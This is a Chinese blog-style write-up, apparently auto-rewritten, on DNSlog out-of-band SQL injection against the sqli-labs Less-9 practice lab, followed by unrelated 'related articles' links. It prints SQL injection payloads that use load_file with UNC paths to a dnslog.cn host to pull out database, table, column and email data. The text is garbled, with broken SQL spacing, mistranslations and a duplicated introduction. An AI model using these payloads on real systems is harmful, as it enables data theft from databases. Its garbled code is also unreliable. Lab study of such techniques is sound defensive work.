DNSlog注入测试

技术DNSlog注入测试 DNSlog注入测试之前提到的时间盲注,虽然用途比较广泛,但其查询耗时较长;且盲注都需要发送大量请求,容易被WAF拦截。
此时,我们就要用到DNSlog注入——一个可以以较少的

DNSlog注射试验。

前面提到的时间盲注虽然应用广泛,但其查询耗时较长;而且盲注需要发送大量请求,容易被WAF拦截。

此时,我们将使用DNSlog injection ——,这是一种可以用更少的访问快速获取信息的注入方法。

(但是,它对服务器有一些额外的要求;这里的DNSlog注入只有在相关权限打开且服务器系统为windows时才能执行。)

(BUUOJ,那个sql-lab是不行的。)

请勿在校园网上进行此测试!

准备工作:

1.DNS:一个可用的本地DNS服务器。

这里用的是http://www.dnslog.cn/。

获取子域后,验证您可以使用:

输入网址:http://test.z2v67d.dnslog.cn/,

证明DNS服务器工作正常。

二、SQL:检查权限字段。

如果是这样,那也行;如果没有,转到相关的ini文件并删除第三个值。

三.复制:

以SQL-Labless-9为例。我们过去常常盲目地用时间来注释这个话题。

payloads:

id=-1 ' andif((selectload _ file(concat(' \ \ ',(selectdatabase())limit 0,1), z2v67d.dnslog.cn\\abc ')),1,0) -

id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex(group _ concat(table _ name))from information _ schema . table where table _ schema=database()), z2v67d.dnslog.cn\\abc ')),1,0) -

id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex(group _ concat(column _ name))from information _ schema . columns hweretable _ schema=database())和table_name='emails '), z2v67d.dnslog.cn\\abc ')),1,0) -

id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex((email _ id))from email slimit1,1), z2v67d.dnslog.cn\\abc ')),1,0) -

DNS服务器记录:

解码:

第四,心路历程。

意识到之前对DNS一无所知,所以花了很长时间看原理(现在还是有点晕)。

在实现的过程中,有两个主要障碍:

(1)加载文件

你需要给它添加一个绝对路径。例如:选择load _ file(' d :/wamp 64/www/sqli-labs-php7-master/Less-1/result . txt ');

测试时,需要使用UNC网络路径。

格式:\\servername\sharename,其中servername是服务器名称。Sharename是共享资源的名称。

目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\ \ servername \ sharename \ directory \ filename。

eg : select load _ file(' \ \ \ \ load file test . z2v 67d . dnslog . cn \ \ ABC ');

双反斜杠用于处理转义。

(2)检查数据库的内容。

(如果查询成功,页面将有几秒钟的刷新延迟;可以用来快速判断查询的成败(是否类似于时间盲)。

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/62066.html

(0)

相关推荐

  • CF666C 题解

    技术CF666C 题解 CF666C 题解题目大意
    多组询问。每次询问给定一个串 \(s\) 和一个长度 \(L\)。
    问有多少个长度为 \(L\) 的只包含小写字母的串, 有至少一个子序列等于 \(s

    礼包 2021年11月7日
  • 铁与稀硝酸反应,少量铁和稀硝酸反应离子方程式

    技术铁与稀硝酸反应,少量铁和稀硝酸反应离子方程式(1)少量铁与稀硝酸反应(或铁粉与过量稀硝酸反应)的方程式:Fe+4HNO3(稀)=Fe(NO3)3+NO↑+2H2O
    离子方程式为:
    Fe+4H+ +NO3-==Fe3

    生活 2021年10月26日
  • java基础知识回顾之javaIO类--RandomAccessFile类

    技术java基础知识回顾之javaIO类--RandomAccessFile类 java基础知识回顾之javaIO类--RandomAccessFile类java.io类 RandomAccessFil

    礼包 2021年12月22日
  • MySQL常用分库分表方案有哪些

    技术MySQL常用分库分表方案有哪些这篇文章主要为大家展示了“MySQL常用分库分表方案有哪些”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“MySQL常用分库分表方案有哪些”

    攻略 2021年11月14日
  • Jmeter如何使用csv参数化Json数据

    技术Jmeter如何使用csv参数化Json数据这篇文章将为大家详细讲解有关Jmeter如何使用csv参数化Json数据,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。结合

    攻略 2021年11月17日
  • Hibernate查询语句有哪些

    技术Hibernate查询语句有哪些小编给大家分享一下Hibernate查询语句有哪些,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1. se

    攻略 2021年12月8日